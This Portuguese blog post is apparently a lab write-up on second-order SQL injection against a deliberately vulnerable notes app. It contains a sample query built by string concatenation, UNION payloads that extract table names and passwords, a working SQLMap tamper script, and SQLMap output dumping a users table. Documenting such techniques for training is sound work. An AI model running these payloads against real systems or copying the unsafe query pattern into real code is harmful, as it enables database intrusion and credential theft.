Explorando a injeção de SQL de 2ª ordem
Eu me deparei com isso e achei muito fascinante, mas também muito abstrato de entender e difícil de explorar. No entanto, aprender como explorar esse tipo de vulnerabilidade (SQLi) me ajudou a ampliar minha perspectiva, fortalecer minhas habilidades SQLMap e me deu uma melhor compreensão de como a entrada do usuário é processada dentro do fluxo de trabalho do aplicativo do lado do servidor.
Neste post vou escrever sobre:
- SQLi de 2ª ordem em geral,
- as pré-condições necessárias,
- como identificar,
- como explorar manualmente e
- como automatizar a exploração com um script de adulteração personalizado do SQLMap.
O básico
Em palavras simples: durante uma injeção SQL de primeira ordem, um invasor usa um parâmetro de entrada (ponto de injeção) para manipular uma consulta SQL que é executada pelo aplicativo de servidor vulnerável. O servidor usa a entrada fornecida pelo usuário para criar uma consulta SQL para ler, gravar, atualizar, excluir, etc. dados no banco de dados de back-end. Se a entrada fornecida pelo usuário não for tratada de maneira segura (limpeza, validação), o invasor pode fornecer uma carga útil que manipula a consulta SQL executada para executar ações maliciosas no DBMS. A característica de um SQLi de primeira ordem é que a consulta SQL maliciosa é executada como consequência direta da injeção de carga útil. O invasor não precisa executar uma segunda ação para executar a carga maliciosa.
Existem várias maneiras de evitar facilmente injeções de SQL de primeira ordem. Usar instruções preparadas ou processamento de entrada parametrizado são apenas alguns deles. No entanto, os desenvolvedores hoje em dia podem estar cientes de que a entrada fornecida pelo usuário deve ser tratada de maneira segura. Mas muitas vezes eles se esquecem de lidar com dados seguros que já foram salvos no banco de dados. É aqui que o SQLi de segunda ordem entra em ação.
Para tornar as coisas mais claras, vamos supor o seguinte cenário: Um aplicativo permite que os usuários façam upload de fotos e as salvem no banco de dados. A tabela tem colunas para:
- o id único das imagens,
- a própria imagem,
- o nome do arquivo da imagem,
- um contador de visualizações da imagem pelos usuários do aplicativo.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
Como mencionado anteriormente, a tabela do banco de dados 'pictures' tem uma terceira coluna 'views'. Cada vez que um usuário visualiza a imagem, este contador é incrementado em 1. O aplicativo também retorna o contador para o usuário, se o usuário abrir a exibição de detalhes da imagem. Então, em algum ponto do código, o aplicativo pode ficar assim:
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
Os pré-requisitos do SQLi de 2ª ordem
Portanto, vamos concluir esta breve introdução e definir os pré-requisitos e as características do SQLi de 2ª ordem.
- O aplicativo de alguma forma permite o armazenamento da entrada do usuário dentro do aplicativo durante uma primeira etapa. Isso pode estar no espaço de memória do aplicativo ou em um DBMS de back-end, por exemplo.
- O invasor pode executar uma segunda etapa para fazer o aplicativo executar uma consulta SQL que usa a entrada do usuário que foi injetada na primeira etapa.
- O aplicativo não faz uso de técnicas anti SQLi ao executar a consulta (durante a etapa 2) com base na entrada do usuário mal-intencionado (da etapa 1).
Identificar essas vulnerabilidades pode ser muito difícil, dependendo da complexidade e rastreabilidade da arquitetura e implementação do aplicativo.
Tente imaginar o fluxo de execução das funcionalidades do aplicativo durante a execução de ações que possam interagir com um SGBD back-end.
Primeiro, é claro que você sempre testaria as clássicas injeções de SQL de primeira ordem. Mas se nada funcionar e você tiver que assumir que algumas defesas são usadas durante o processamento da solicitação de injeção, tente pensar um pouco mais e imaginar em que ponto(s) sua entrada pode ser processada em diferentes funcionalidades/áreas do aplicativo. Se você identificou alguns possíveis pontos de execução de 2ª ordem, tente imaginar as consultas realizadas pelo aplicativo neste ponto. Em seguida, construa seus payloads de injeção de forma que eles possam explorar a consulta realizada pelos pontos de execução de 2ª ordem e verifique os resultados.
Automatizar esse processo pode ser um pouco complicado, mas pode ajudar você a economizar muito tempo. No entanto, ter um bom entendimento de como o fluxo de execução do lado do servidor dos aplicativos, as strings de consulta afetadas, etc., é absolutamente necessário se você deseja automatizar o processo de exploração com ferramentas como o SQLMap. Portanto, não atire apenas no aplicativo e espere pelo melhor. Mergulhe o máximo possível no aplicativo antes de preparar o comando final de exploração do SQLMap para aumentar as chances de sucesso.
Análise Manual e Exploração
Então, para demonstrar isso em um exemplo prático, usarei um aplicativo vulnerável (“Vulnerable Notes”) com componentes típicos do aplicativo como:
- Conecte-se,
- inscrever-se,
- perfil,
- alterar a senha,
- tomando notas,
- sair.
Primeiro, analisei o aplicativo com um navegador para identificar possíveis pontos de injeção de SQL.
A função de inscrição certamente executará algum tipo de consulta SELECT para verificar se o nome de usuário já foi usado e uma consulta INSERT para registrar meu usuário.
Criei um usuário e fui para a página de login. Esta página pegará as credenciais fornecidas pelo usuário e executará algum tipo de instrução SELECT no banco de dados para verificar as credenciais.
Após a autenticação, o usuário é redirecionado para a página inicial. O nome de usuário é exibido na parte superior da página. Portanto, é possível que o aplicativo execute uma consulta SELECT para extrair o nome de usuário do banco de dados neste momento.
A partir desse ponto de partida, o usuário pode executar as ações relacionadas ao usuário, como fazer anotações no terminal /notes. O nome de usuário é apresentado em um segundo lugar dentro do cabeçalho “Bem-vindo”. É possível que o aplicativo execute uma consulta SELECT para solicitar o nome de usuário novamente.
O aplicativo provavelmente executará algum tipo de instrução INSERT no banco de dados se essa funcionalidade for usada. Após tomadas as notas, estas podem ser consultadas na mesma página, sob o formulário.
Para exibir as notas, o aplicativo realizará de alguma forma uma consulta SELECT no banco de dados para solicitar as notas salvas.
O aplicativo também oferece uma funcionalidade de “alterar senha”, mas a mensagem na página indica que esta função pode não estar implementada.
No entanto, se for implementado, provavelmente executará algum tipo de consulta UPDATE no banco de dados. Eu queria eliminar esse vetor primeiro, então tentei a função e não tive sucesso. Confirma-se que a função não está implementada.
Seguindo minha abordagem para SQLi de primeira ordem, a próxima coisa que fiz foi fazer um resumo de todas as possíveis consultas SQL, que eu poderia assumir injetando cargas maliciosas. Neste ponto, tento imaginar como seriam essas consultas. Não tenho certeza se eles realmente se parecem exatamente com isso, mas ajuda a entender como o back-end funciona.
Registro
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
Hora da abordagem de 2ª ordem.
Como já analisei o aplicativo em detalhes, não precisarei analisar o aplicativo de destino novamente. Em vez disso, basta percorrer meu conhecimento já adquirido sobre o aplicativo com uma visão/abordagem diferente.
Voltando aos pré-requisitos mencionados anteriormente do SQLi de 2ª ordem, tenho que me perguntar:
Onde o aplicativo pega minha entrada do usuário, armazena-a para uso posterior e, em uma etapa posterior, usa-a como parte de outra consulta na qual não tenho impacto direto?
Os possíveis candidatos são:
- Nome de usuário : Eu passo o nome de usuário para o aplicativo durante o processo de registro. O nome de usuário é consultado posteriormente na página /home e na página /notes para exibi-lo. E também pode ser possível que o nome de usuário seja usado para consultar as notas salvas do usuário específico no banco de dados.
Como posso ver o resultado da consulta, sei que estou lidando com um cenário de exploração baseado em UNION. Seguindo a metodologia típica, primeiro terei que descobrir quantas colunas são consultadas na tabela pela consulta original. Para isso, estou preparando várias cargas úteis e analiso os resultados posteriormente.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
A carga útil é exibida conforme o esperado na parte superior da página inicial e na parte superior da página /notes.
Em seguida, tentei inserir uma nota, mas surpreendentemente, a nota não é mostrada pelo aplicativo depois!
Parece que a consulta responsável por solicitar as notas do banco de dados está quebrada. Obviamente, isso indica que nossa carga teve um impacto na consulta interna. Mas como nada é mostrado, parece que a consulta está produzindo um erro ou não retorna resultados. Obviamente, isso pode acontecer se não definirmos o número correto de colunas na carga útil. Então, vamos prosseguir com os próximos payloads da lista até que um comportamento diferente apareça.
Felizmente, a próxima carga útil funcionou! “Nenhum” e “Nenhum” foram retornados como cabeçalho e texto da nota.
Juntando as peças:
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
Adaptei as informações da folha de dicas e construí uma carga útil. A nova carga útil:
' UNION SELECT null,sqlite_version()--comment
Deste ponto em diante, o fluxo típico de exploração do SQLite (cargas na folha de dicas fornecida) pode ser usado para despejar todo o banco de dados. Vamos tentar mais alguns payloads antes de automatizar o processo.
Extrair todos os nomes de tabelas
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
Exploração automatizada via SQLMap Tamper Script
Até trabalhar neste cenário, eu só usava o SQLMap para explorar o SQLi de primeira ordem. Eu queria saber se é possível explorar o SQLi de segunda ordem também. Primeiro, usei meu terminal para procurar opções de SQLMap relacionadas à exploração de segunda ordem e encontrei isto:
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Vamos relembrar os passos necessários para explorar manualmente a vulnerabilidade:
- Injeção não autenticada de carga útil na função “registrar”.
- Autenticação através da função “login”.
- Solicitação autenticada para a página “notas”.
Eu sabia que o SQLMap pode executar scripts python com a opção “— adulteração”. Verifiquei a pasta do script de adulteração para ver se encontro algo útil lá que eu possa ajustar às minhas necessidades. Infelizmente não.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
Como escrever scripts de adulteração personalizados para sqlmap
Do artigo, obtive o seguinte esqueleto de modelo (excluí a nova importação) e salvei-o como custom.py:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
A função recebe a carga SQLMap por meio do parâmetro de função e retorna a carga adulterada após a manipulação. O artigo não explicava como usar **kwargs no contexto do SQLMap, então perguntei ao ChatGPT e obtive uma boa resposta:
Isso deve ser suficiente para preparar o script de adulteração personalizado para o exploit. Para a comunicação com o servidor, utilizei a biblioteca request.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
Juntando todas as peças, o seguinte comando SQLMap pode ser usado:
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
Devido à sua natureza, essas vulnerabilidades podem aparecer em todos os lugares nos aplicativos da web. Mesmo que os desenvolvedores manuseiem a entrada do usuário adequadamente à primeira vista, isso não significa que as medidas anti SQLi sejam aplicadas em todo o aplicativo. No futuro, definitivamente estarei de olhos abertos e tentarei acompanhar e entender o fluxo de trabalho do aplicativo/banco de dados em profundidade.
Espero que você tenha gostado deste post e talvez isso possa ajudá-lo com cenários semelhantes. Eu realmente gostei de escrever isso e aprendi muitas coisas novas durante este sábado. Deixe um comentário, curta ou siga e fique ligado para mais coisas da web e muito em breve alguns tópicos de infraestrutura de AD.
PAZ





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)